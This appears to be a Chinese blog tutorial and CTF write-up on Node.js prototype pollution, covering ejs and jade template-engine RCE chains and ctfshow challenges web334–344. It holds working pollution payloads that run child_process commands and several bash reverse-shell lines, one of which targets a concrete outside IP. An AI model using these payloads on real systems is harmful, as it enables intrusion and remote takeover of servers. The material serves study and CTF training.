NodeJS原型链污染ctfshow_nodejs
文章目录
- NodeJS原型链污染&ctfshow_nodejs
- 前言
- 0x01.原型与原型链
- 0x02.prototype和`__proto__`分别是什么?
- 0x03.原型链继承
- 不同对象的原型链*
- 0x04.原型链污染原理
- 0x05.merge()导致原型链污染
- 0x06.ejs模板引擎RCE
- ejs模板引擎另一处rce
- 0x07.jade模板引擎RCE
- 【ctfshow】nodejs
- web334
- web335
- web336
- web337
- web338
- nodejs原型链污染
- web339
- web340
- web341
- ejs原型链污染:
- web342-343
- jade原型链污染:
- web344
- 参考
NodeJS原型链污染&ctfshow_nodejs
前言
最近又遇到了有关原型链污染的题目,所以在此总结一下,方便回顾
0x01.原型与原型链
js中一切皆对象,其中对象之间是存在共同和差异的。
- 共同:对象的最终原型是
Object的原型null - 差异:函数对象中有
prototype属性,但是实力对象没有
1、原型的定义:
原型是Javascript中继承的基础,Javascript的继承就是基于原型的继承
(1)所有引用类型(函数,数组,对象)都拥有__proto__属性(隐式原型
(2)所有函数拥有prototype属性(显式原型)(仅限函数)
2、原型链的定义:
原型链是javascript的实现的形式,递归继承原型对象的原型,原型链的顶端是Object的原型。
0x02.prototype和__proto__分别是什么?
prototype是一个类的属性,所有类对象在实例化的时候都会拥有prototype中的属性的方法一个对象的
__proto__属性,指向这个对象所在类的prototype属性
我们可以通过Foo.prototype来访问Foo类的原型,但Foo实例化出来的对象,是不能通过prototype访问原型的。这时候,就该__proto__登场了。
一个Foo类实例化出来的foo对象,可以通过foo.__proto__属性来访问Foo类的原型,也就是说:
foo.__proto__ == Foo.prototype
0x03.原型链继承
所有类对象在实例化的时候将会拥有prototype中的属性和方法,这个特性被用来实现JavaScript中的继承机制。
function Father() {this.first_name = 'Donald'this.last_name = 'Trump'
}function Son() {this.first_name = 'Melania'
}Son.prototype = new Father()let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)// Name: Melania Trump
总结一下,对于对象son,在调用son.last_name的时候,实际上JavaScript引擎会进行如下操作:
- 在对象son中寻找last_name
- 如果找不到,则在
son.__proto__中寻找last_name - 如果仍然找不到,则继续在
son.__proto__.__proto__中寻找last_name - 依次寻找,直到找到
null结束。比如,Object.prototype的__proto__就是null
知识点:
- 每个构造函数(constructor)都有一个原型对象(prototype)
- 对象的
__proto__属性,指向类的原型对象prototype - JavaScript使用prototype链实现继承机制
不同对象的原型链*
var o = {a: 1};
// o对象直接继承了Object.prototype
// 原型链:
// o ---> Object.prototype ---> nullvar a = ["yo", "whadup", "?"];
// 数组都继承于 Array.prototype
// 原型链:
// a ---> Array.prototype ---> Object.prototype ---> nullfunction f(){return 2;
}
// 函数都继承于 Function.prototype
// 原型链:
// f ---> Function.prototype ---> Object.prototype ---> null
知道这个,后面的就容易理解了
0x04.原型链污染原理
对于语句:object[a][b] = value 如果可以控制a、b、value的值,将a设置为__proto__,我们就可以给object对象的原型设置一个b属性,值为value。这样所有继承object对象原型的实例对象在本身不拥有b属性的情况下,都会拥有b属性,且值为value。
object1 = {"a":1, "b":2};
object1.__proto__.foo = "Hello World";
console.log(object1.foo); //Hello World
object2 = {"c":1, "d":2};
console.log(object2.foo); //Hello World
最终会输出两个Hello World。为什么object2在没有设置foo属性的情况下,也会输出Hello World呢?就是因为在第二条语句中,我们对object1的原型对象设置了一个foo属性,而object2和object1一样,都是继承了Object.prototype。在获取object2.foo时,由于object2本身不存在foo属性,就会往父类Object.prototype中去寻找。这就造成了一个原型链污染,所以原型链污染简单来说就是如果能够控制并修改一个对象的原型,就可以影响到所有和这个对象同一个原型的对象。
0x05.merge()导致原型链污染
merge操作是最常见可能控制键名的操作,也最能被原型链攻击。
function merge(target, source) {for (let key in source) {if (key in source && key in target) {merge(target[key], source[key])} else {target[key] = source[key]}}
}let object1 = {}
let object2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(object1, object2)
console.log(object1.a, object1.b) // 1 2object3 = {}
console.log(object3.b) // 2
上述已经污染成功了,object3并没有b变量,但是输出为2,说明我们已经污染了Object原型对象的值,根据原型链继承,object3中也有b变量,所以输出为2
需要注意的点是:
在JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历object2的时候会存在这个键。
如果我们不使用json解析:
let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b) // 1 2o3 = {}
console.log(o3.b) // undefiend
这是因为,我们用JavaScript创建o2的过程(let o2 = {a: 1, "__proto__": {b: 2}})中,__proto__已经代表o2的原型了,此时遍历o2的所有键名,你拿到的是[a, b],__proto__并不是一个key,自然也不会修改Object的原型。
0x06.ejs模板引擎RCE
https://www.anquanke.com/post/id/236354#h2-2
该漏洞可以参考:ctfshowweb341
想要使用ejs进行RCE的前提是需要有原型链污染。例如:
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var user = new function(){this.userinfo = new function(){this.isVIP = false;this.isAdmin = false; };};utils.copy(user.userinfo,req.body);if(user.userinfo.isAdmin){return res.json({ret_code: 0, ret_msg: 'login success!'}); }else{return res.json({ret_code: 2, ret_msg: 'login fail!'}); }});function copy(object1, object2){for (let key in object2) {if (key in object2 && key in object1) {copy(object1[key], object2[key])} else {object1[key] = object2[key]}}}
这里通过copy()函数就可以造成原型链污染漏洞
从app.js我们可以看到使用了ejs模板引擎:
app.engine('html', require('ejs').__express);
app.set('view engine', 'html');
我们跟进ejs.js中的renderFile()函数
在 EJS(Embedded JavaScript)模板引擎中,
renderFile()是一个用于加载和渲染模板文件的方法。它通常与 Express 框架一起使用。
renderFile()方法的作用是读取指定的 EJS 模板文件,并将数据填充到模板中生成最终的 HTML 内容。这个方法多用于将动态数据注入到模板中,以生成动态的网页内容
可见,这个renderFile()函数非常的重要,如果能够控制它输出的值,就会执行相应的代码
exports.renderFile = function () {var args = Array.prototype.slice.call(arguments);var filename = args.shift();var cb;var opts = {filename: filename};var data;var viewOpts;...return tryHandleCache(opts, data, cb);
};
返回值是tryHandleCache(opts, data, cb)我们跟进一下:
function tryHandleCache(options, data, cb) {var result;if (!cb) {if (typeof exports.promiseImpl == 'function') {return new exports.promiseImpl(function (resolve, reject) {try {result = handleCache(options)(data);resolve(result);}...}else {try {result = handleCache(options)(data);}catch (err) {return cb(err);}...}
}
我们发现这个函数一定会进入:handleCache()
function handleCache(options, template) {var func;var filename = options.filename;var hasTemplate = arguments.length > 1;...func = exports.compile(template, options); //返回值if (options.cache) {exports.cache.set(filename, func);}return func;
}
这个函数的返回值是func,而func是 exports.compile(template, options)的返回值,继续跟进:compile()
compile: function () {...if (!this.source) {this.generateSource();prepended +=' var __output = "";\n' +' function __append(s) { if (s !== undefined && s !== null) __output += s }\n';if (opts.outputFunctionName) {prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';}......}
我们发现函数里面存在大量拼接渲染,
如果能够覆盖 opts.outputFunctionName , 这样我们构造的payload就会被拼接进js语句中,并在 ejs 渲染时进行 RCE
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
// After injectionprepended += ' var __tmp1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); var __tmp2 = __append;'
// 拼接了命令语句
我们可以覆盖opts.outputFunctionName 为:
__tmp1; return global.process.mainModule.constructor._load('child_process').execSync('dir');var __tmp2
然后经过ejs原型链污染掉outputFunctionName 就可以实现rce了
由于此处例子的:user.userinfo是一个函数,所以需要使用两次__proto__才能获得原型对象:Object
{"__proto__":{"__proto__":{"outputFunctionName":"__tmp1; return global.process.mainModule.constructor._load('child_process').execSync('dir');var __tmp2"}}}
进行 copy 函数后, 此时 outputFunctionName 已经在全局变量中被复制了, 可以在 Global 的 __proto__ 的 __proto__ 的 __proto__ 下找到我们的污染链:

ejs模板引擎另一处rce
var escapeFn = opts.escapeFunction;
var ctor;
...if (opts.client) {src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;if (opts.compileDebug) {src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;}
}
伪造 opts.escapeFunction 也可以进行 RCE
{"__proto__":{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('dir');","compileDebug":true}}}{"__proto__":{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('dir');","compileDebug":true,"debug":true}}}
0x07.jade模板引擎RCE
可以参考:ctfshow web342
原型链的污染思路和 ejs 思路很像
app.js中发现模板引擎为jade:
app.engine('jade', require('jade').__express);
app.set('view engine', 'jade');
我们跟进jade.js,继续看renderFile()
exports.renderFile = function(path, options, fn){// support callback API...options.filename = path;return handleTemplateCache(options)(options); //返回值
};
跟进handleTemplateCache()
function handleTemplateCache (options, str) {...else {var templ = exports.compile(str, options); //if (options.cache) exports.cache[key] = templ;return templ;}
}
返回值为temp1,所以我们跟进compile()

我们必须满足:compileDebug==true
jade 模板和 ejs 不同, 在compile之前会有 parse 解析, 尝试控制传入 parse 的语句
所以我们跟进一下parse()函数

在 parse 函数中主要执行了这两步, 最后返回的部分:
var body = ''+ 'var buf = [];\n'+ 'var jade_mixins = {};\n'+ 'var jade_interp;\n'+ (options.self? 'var self = locals || {};\n' + js: addWith('locals || {}', '\n' + js, globals)) + ';'+ 'return buf.join("");';return {body: body, dependencies: parser.dependencies};
options.self 可控, 如果我们控制self=true,可以绕过 addWith 函数,
回头跟进 compile 函数, 看看作用:

返回的是 buf, 跟进 visit 函数

如果 debug 为 true, node.line 就会被 push 进去, 造成拼接 (两个参数)
jade_debug.unshift(new jade.DebugItem( 0, "" ));return global.process.mainModule.constructor._load('child_process').execSync('dir');//
// 注释符注释掉后面的语句
在返回的时候还会经过 visitNode 函数:
visitNode: function(node){return this['visit' + node.type](node);}
这个函数会执行visit开头的函数,所以我们需要控制type为有效的:
visitAttributes
visitBlock
visitBlockComment √
visitCase
visitCode √
visitComment √
visitDoctype √
visitEach
visitFilter
visitMixin
visitMixinBlock √
visitNode
visitLiteral
visitText
visitTag
visitWhen
然后就可以返回 buf 部分进行命令执行
{"__proto__":{"__proto__": {"type":"Code","compileDebug":true,"self":true,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').execSync('dir');//"}}}
(污染对应的变量,这样才能进入到指定的地方进行字符串拼接)
补充: 针对 jade RCE链的污染, 普通的模板可以只需要污染 self 和 line, 但是有继承的模板还需要污染 type
【ctfshow】nodejs
web334
login.js
var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;var findUser = function(name, password){return users.find(function(item){return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;});
};/* GET home page. */
router.post('/', function(req, res, next) {res.type('html');var flag='flag_here';var sess = req.session;var user = findUser(req.body.username, req.body.password);if(user){req.session.regenerate(function(err) {if(err){return res.json({ret_code: 2, ret_msg: '登录失败'}); }req.session.loginUser = user.username;res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag}); });}else{res.json({ret_code: 1, ret_msg: '账号或密码错误'});} });module.exports = router;
user.js
module.exports = {items: [{username: 'CTFSHOW', password: '123456'}]
};
很显然,我们只需要绕过这里: toUpperCase()是javascript中将小写转换成大写的函数。
return users.find(function(item){return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;});
我们可以使用小写绕过:ctfshow
这里还有一个小trick,
在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。
所以我们也可以写成这样:ctfſhow
web335
源码提示:
<!-- /?eval= -->
因此我们可以使用nodejs中的eval()进行命令执行
Node.js中的
child_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令。在eval函数的参数中可以构造require('child_process').exec('');来进行调用。

这里我们选择反弹shell,
bash -i >& /dev/tcp/ip/port 0>&1
这一句的意思就是反弹shell,将输出与输入都重定型到指定ip的指定端口上面,
但是我们不能直接这样,我们需要先base64编码之后(注意加号要进行url编码为%2B),然后使用echo输出,使用管道符|将输出作为base64 -d输入进行base64解密,最后再传给bash
这里我选择自己的服务器,首先监听9996端口,然后再execute

成功监听到了:

直接读flag
web336
我们了解到如下知识点:
__filename:当前模块的文件名。 这是当前模块文件的已解析符号链接的绝对路径。
__dirname:可以获得当前文件所在目录从盘符开始的全路径

有一种方法是使用fs模块去读取当前目录的文件名,然后通过方法去读取文件内容:
require('fs').readdirSync('.')

require('fs').readFileSync('fl001g.txt')

常规方法:这里过滤了exec,我们可以使用spawn
nodejs的child_process中可以使用 exec、execSync、spawn、spawnSync进行命令执行
当我们使用:
require('child_process').spawnSync('ls')

发现,显示出 object,查询资料

返回的object里有个stdout属性,我们调用它,就可以当成字符串输出了:

然后我们去读文件:
// require('child_process').spawnSync('cat fl001g.txt').stdout
如果这样读的话语法是错的,我们需要这样:
require('child_process').spawnSync('cat',['fl001g.txt']).stdout

还有一种思路,通过定义变量,然后多个变量拼接:

web337
var express = require('express');
var router = express.Router();
var crypto = require('crypto');function md5(s) {return crypto.createHash('md5').update(s).digest('hex');
}/* GET home page. */
router.get('/', function(req, res, next) {res.type('html');var flag='xxxxxxx';var a = req.query.a;var b = req.query.b;if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){res.end(flag);}else{res.render('index',{ msg: 'tql'});}});module.exports = router;
关键点在这里:
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){res.end(flag);
这里可以使用数组绕过
a = ['1']
b = 1
console.log(a + 'flag')
console.log(b + 'flag')
输出:
1flag
1flag
可以看到,nodejs中:如果数组与字符串拼接后输出、数字与字符串拼接后输出,结果是一样的
于是我们就有一种思路,可以a传入数组,然后b传入等值的数字:
a[]=1&b=1

还有一种方法,
nodejs中数组只能是数字索引,如果为非数字索引的话,相当于对象了。
a = {'x': 1}
b = {'x': 2}
console.log(a + 'flag')
console.log(b + 'flag')输出:
[object Object]flag
[object Object]flag
因此我们直接绕过:
a[x]=1&b[x]=2
web338
nodejs原型链污染
关键在:
commons.js
module.exports = {copy:copy
};function copy(object1, object2){for (let key in object2) {if (key in object2 && key in object1) {copy(object1[key], object2[key])} else {object1[key] = object2[key]}}}
login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var flag='flag_here';var secert = {};var sess = req.session;let user = {};utils.copy(user,req.body);if(secert.ctfshow==='36dboy'){ //res.end(flag);}else{return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)}); }});module.exports = router;
我们可以通过copy()函数,通过原型链来污染secret变量的ctfshow属性
{"username":"asd","password":"123","__proto__" : {"ctfshow":"36dboy"}}

web339
login.js
let user = {};utils.copy(user,req.body);if(secert.ctfshow===flag){res.end(flag);}
这里没法利用了
api.js
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');res.render('api', { query: Function(query)(query)});
});
注意这一句: Function(query)(query),这种写法可以动态执行函数的:
console.log(Function('return global.process.mainModule.constructor._load("child_process").execSync("whoami").toString()')('return global.process.mainModule.constructor._load("child_process").execSync("whoami").toString()'))// leekos\like
因此我们只需要通过原型链污染一下query变量,反弹shell即可:
"__proto__": {"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"'')"
}
登陆的时候污染query,然后访问/api路由即可触发反弹shell:
web340
login.js发生了点变化,api.js还是一样的
var user = new function(){this.userinfo = new function(){this.isVIP = false;this.isAdmin = false;this.isAuthor = false; };}utils.copy(user.userinfo,req.body);if(user.userinfo.isAdmin){res.end(flag);}
这里还是调用了copy()函数,可以造成原型链污染。但是注意,这里并不是使user.userinfo.isAdmin=true,因为就算污染了它的原型,它还是false,因为类似与就近原则,变量的值还是等于靠近他们的值,我们没办法从这里入手
我们继续从query入手,在这里我们要将req.body中的值复制给user.userinfo
由于user.userinfo是一个函数,所以经过一次__proto__后,得到的原型对象是Function,再经过一次__proto__后,得到的原型对象是Object,就可以污染query了,这里只需要两次__proto__就行了:
"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/49.235.108.15/9996 0>&1\"')"}
}
web341
ejs原型链污染:
https://www.anquanke.com/post/id/236354#h2-2
"__proto__":{"__proto__":{"outputFunctionName":"_tmp1; return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"');var _tmp2"}
}
web342-343
jade原型链污染:
{"__proto__":{"__proto__": {"type":"Code","compileDebug":true,"self":true,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"');//"}}
}
web344
router.get('/', function(req, res, next) {res.type('html');var flag = 'flag_here';if(req.url.match(/8c|2c|\,/ig)){res.end('where is flag :)');}var query = JSON.parse(req.query.query);if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){res.end(flag);}else{res.end('where is flag. :)');}});
过滤了8c、2c、,
我们本来应该这么传参:
/?query={"name":"admin","password":"ctfshow","isVIP":true}
HTTP协议中允许同名参数出现多次,但不同服务端对同名参数 处理是不一样的:
Web服务器 参数获取函数 获取到的参数PHP/Apache $_GET(“par”) LastJSP/Tomcat Request.getParameter(“par”) FirstPerl(CGI)/Apache Param(“par”) FirstPython/Apache getvalue(“par”) All(List)ASP/IIS Request.QueryString(“par”) All (comma-delimited string)
在nodejs中会把同名参数以数组的形式存储,并且JSON.parse可以正常解析

上面逗号,被过滤了,我们可以使用&改写成下面的格式:
/?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}
但是此时又有一个问题,双引号的url编码:%22 与ctfshow的c结合后会变成2c,被过滤了,
所以我们应该把c编码一下:%63
/?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
参考
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html
https://www.anquanke.com/post/id/236354#h2-3
相关文章:
NodeJS原型链污染ctfshow_nodejs
文章目录 NodeJS原型链污染&ctfshow_nodejs前言0x01.原型与原型链0x02.prototype和__proto__分别是什么?0x03.原型链继承不同对象的原型链* 0x04.原型链污染原理0x05.merge()导致原型链污染0x06.ejs模板引擎RCEejs模板引擎另一处rce 0x07.jade模板引擎RCE【ctfs…...
18. SpringBoot 如何在 POM 中引入本地 JAR 包
❤️ 个人主页:水滴技术 🌸 订阅专栏:成功解决 BUG 合集 🚀 支持水滴:点赞👍 收藏⭐ 留言💬 Spring Boot 是一种基于 Spring 框架的轻量级应用程序开发框架,它提供了快速开发应用程…...
vue2-$nextTick有什么作用?
1、$nextTick是什么? 官方定义:在下次DOM更新循环结束之后执行延迟回调。在修改数据之后立即使用这个方法,获取更新后的DOM。 解释:Vue在更新DOM时是异步执行的,当数据发生变化时,Vue将开启一个异步更新的队…...
python自动收集粘贴板
win10的粘贴板可以用“winV”查看: 每次复制都相当于入栈一个字符串,粘贴相当于获取栈顶。 但是系统自带的这个粘贴板貌似不能一键导出,所以我写了个python代码完成这个功能: import pyperclip import timetmp while True:txt…...
Vue3_语法糖—— <script setup>以及unplugin-auto-import自动引入插件
<script setup>import { ref , onMounted} from vue;let obj ref({a: 1,b: 2,}); let changeObj ()>{console.log(obj)obj.value.c 3 //ref写法}onMounted(()>{console.log(obj)})</script> 里面的代码会被编译成组件 setup() 函数的内容。 相当于 <…...
2023-08-06力扣做过了的题
链接: 剑指 Offer 30. 包含min函数的栈 题意: 如题 解: 初级算法里做过的题 优化是存储和min的差值使得只需要n的栈和一个int min 实际代码: #include<bits/stdc.h> using namespace std; class MinStack { public:…...
进程间通信之管道
文章目录 一、管道1. 匿名管道2. 命名管道 进程具有独立性,因此进程间通信的前提是两个进程能看到同一份资源 一、管道 对于进程打开的内存文件,操作系统是以引用计数的方式创建的 file 结构体,如果让两个进程与同一个 file 结构体关联&…...
f12 CSS网页调试_css样式被划了黑线怎么办
我的问题是这样的 class加上去了,但是样式不生效,此时可能是样式被其他样式覆盖了, 解决方案就是 给颜色后边添加一个!important...
vue-制作自动滚动效果
第一步:下载 可以查看官方地址chenxuan0000 npm i vue-seamless-scroll -save 第二步:引用 import vueSeamlessScroll from "vue-seamless-scroll";//注册components: {vueSeamlessScroll,}, 第三步:使用 <vue-seamless…...
[国产MCU]-BL602-开发实例-DMA数据传输
DMA数据传输 文章目录 DMA数据传输1、DMA介绍2、DMA驱动API介绍3、DMA使用示例DMA(Direct Memory Access)是一种内存存取技术,可以独立地直接读写系统内存,而不需处理器介入处理。 在同等程度的处理器负担下,DMA是一种快速的数据传送方式。 BL602的DMA控制器有4组独立专用通…...
Redis压缩列表
区分一下 3.2之前 Redis中的List有两种编码格式 一个是LINKEDLIST 一个是ZIPLIST 这个ZIPLIST就是压缩列表 3.2之后来了一个QUICKLIST QUICKLIST是ZIPLIST和LINKEDLIST的结合体 也就是说Redis中没有ZIPLIST和LINKEDLIST了 然后在Redis5.0引入了LISTPACK用来替换QUiCKLIST中的…...
【SA8295P 源码分析】62 - Android GVM Kernel 内核 make bootimage 过程分析
【SA8295P 源码分析】62 - Android GVM Kernel 内核 make bootimage 过程分析 一、make bootimage 命令执行过程分析1.1 source buid/envsetup.sh 分析1.2 lunch msmnile_gvmq-userdebug 分析1.3 make bootimage:step 1 之 加载配置文件过程分析1.4 make bootimage:step 2 之…...
机器学习——SMO算法推导与实践
一、 硬间隔-SMO算法推导 明天再说,啊。。。。感觉天空明朗了很多,即使现在已经很晚了 还是要打开柯南,看看电视,等待天气预报所说的台风天吧! 一时之间,忽然失去了用markdown语法写下推导过程的勇气。。。…...
mac的终端通过code .指令快速启动vscode
通过在vscode中安装"code"命令工具 打开vsocode,使用快捷键⇧⌘P,然后输入shell,会弹出来“Shell命令:在PATH中安装‘code’命令”浮窗,选择安装就可以了,然后就可以在终端通过code .来快速启动…...
前端系统使用iframe下载文件
需求描述 前端调用后端的接口,获取到文件的路径,并下载。 碰到的问题 页面组件存在与云端的组件库,使用window.open()无法满足需求(在当前页面下载),因为路径是跨域的,所以决定使用iframe的方…...
RabbitMQ - 简单案例
目录 0.引用 1.Hello world 2.轮训分发消息 2.1 抽取工具类 2.2 启动两个工作线程接受消息 2.4 结果展示 3.消息应答 3.1 自动应答 3.2 手动消息应答的方法 3.3 消息自动重新入队 3.4 消息手动应答代码 4.RabbitMQ 持久化 4.1 队列如何实现持久化 4.2 消息实现持久化 5.不…...
《吐血整理》高级系列教程-吃透Fiddler抓包教程(30)-Fiddler如何抓Android7.0以上的Https包-番外篇
1.简介 通过宏哥前边几篇文章的讲解和介绍想必大家都知道android7.0以上,有android的机制不在信任用户证书,导致https协议无法抓包。除非把证书装在系统信任的证书里,此时手机需要root权限。但是大家都知道root手机是非常繁琐的且不安全&…...
服务器被攻击了怎么办?
服务器被攻击是无法避免的,但是我们能通过做好防护措施,提高服务器的安全性,降低被攻击的几率。那么当服务器已经被 攻击了,怎样才能降低损失呢?该怎样补救? 断开网络 全部的攻击都来自于网络,因…...
P1156 垃圾陷阱(背包变形)
垃圾陷阱 题目描述 卡门――农夫约翰极其珍视的一条 Holsteins 奶牛――已经落了到 “垃圾井” 中。“垃圾井” 是农夫们扔垃圾的地方,它的深度为 D D D( 2 ≤ D ≤ 100 2 \le D \le 100 2≤D≤100)英尺。 卡门想把垃圾堆起来,…...
[Docker实现测试部署CI/CD----构建成功后钉钉告警(7)]
目录 15、钉钉告警创建项目群,然后添加机器人添加机器人Jenkins 系统配置项目配置修改Jenkinsfile文件,添加钉钉提示信息测试 不修改Jenkinsfile文件,添加钉钉提示信息测试 15、钉钉告警 创建项目群,然后添加机器人 首先需要在钉…...
浅谈 React Hooks
React Hooks 是 React 16.8 引入的一组 API,用于在函数组件中使用 state 和其他 React 特性(例如生命周期方法、context 等)。Hooks 通过简洁的函数接口,解决了状态与 UI 的高度解耦,通过函数式编程范式实现更灵活 Rea…...
Opencv中的addweighted函数
一.addweighted函数作用 addweighted()是OpenCV库中用于图像处理的函数,主要功能是将两个输入图像(尺寸和类型相同)按照指定的权重进行加权叠加(图像融合),并添加一个标量值&#x…...
最新SpringBoot+SpringCloud+Nacos微服务框架分享
文章目录 前言一、服务规划二、架构核心1.cloud的pom2.gateway的异常handler3.gateway的filter4、admin的pom5、admin的登录核心 三、code-helper分享总结 前言 最近有个活蛮赶的,根据Excel列的需求预估的工时直接打骨折,不要问我为什么,主要…...
论文浅尝 | 基于判别指令微调生成式大语言模型的知识图谱补全方法(ISWC2024)
笔记整理:刘治强,浙江大学硕士生,研究方向为知识图谱表示学习,大语言模型 论文链接:http://arxiv.org/abs/2407.16127 发表会议:ISWC 2024 1. 动机 传统的知识图谱补全(KGC)模型通过…...
智能分布式爬虫的数据处理流水线优化:基于深度强化学习的数据质量控制
在数字化浪潮席卷全球的今天,数据已成为企业和研究机构的核心资产。智能分布式爬虫作为高效的数据采集工具,在大规模数据获取中发挥着关键作用。然而,传统的数据处理流水线在面对复杂多变的网络环境和海量异构数据时,常出现数据质…...
算法笔记2
1.字符串拼接最好用StringBuilder,不用String 2.创建List<>类型的数组并创建内存 List arr[] new ArrayList[26]; Arrays.setAll(arr, i -> new ArrayList<>()); 3.去掉首尾空格...
Pinocchio 库详解及其在足式机器人上的应用
Pinocchio 库详解及其在足式机器人上的应用 Pinocchio (Pinocchio is not only a nose) 是一个开源的 C 库,专门用于快速计算机器人模型的正向运动学、逆向运动学、雅可比矩阵、动力学和动力学导数。它主要关注效率和准确性,并提供了一个通用的框架&…...
Windows安装Miniconda
一、下载 https://www.anaconda.com/download/success 二、安装 三、配置镜像源 Anaconda/Miniconda pip 配置清华镜像源_anaconda配置清华源-CSDN博客 四、常用操作命令 Anaconda/Miniconda 基本操作命令_miniconda创建环境命令-CSDN博客...
iview框架主题色的应用
1.下载 less要使用3.0.0以下的版本 npm install less2.7.3 npm install less-loader4.0.52./src/config/theme.js文件 module.exports {yellow: {theme-color: #FDCE04},blue: {theme-color: #547CE7} }在sass中使用theme配置的颜色主题,无需引入,直接可…...
Ubuntu系统复制(U盘-电脑硬盘)
所需环境 电脑自带硬盘:1块 (1T) U盘1:Ubuntu系统引导盘(用于“U盘2”复制到“电脑自带硬盘”) U盘2:Ubuntu系统盘(1T,用于被复制) !!!建议“电脑…...
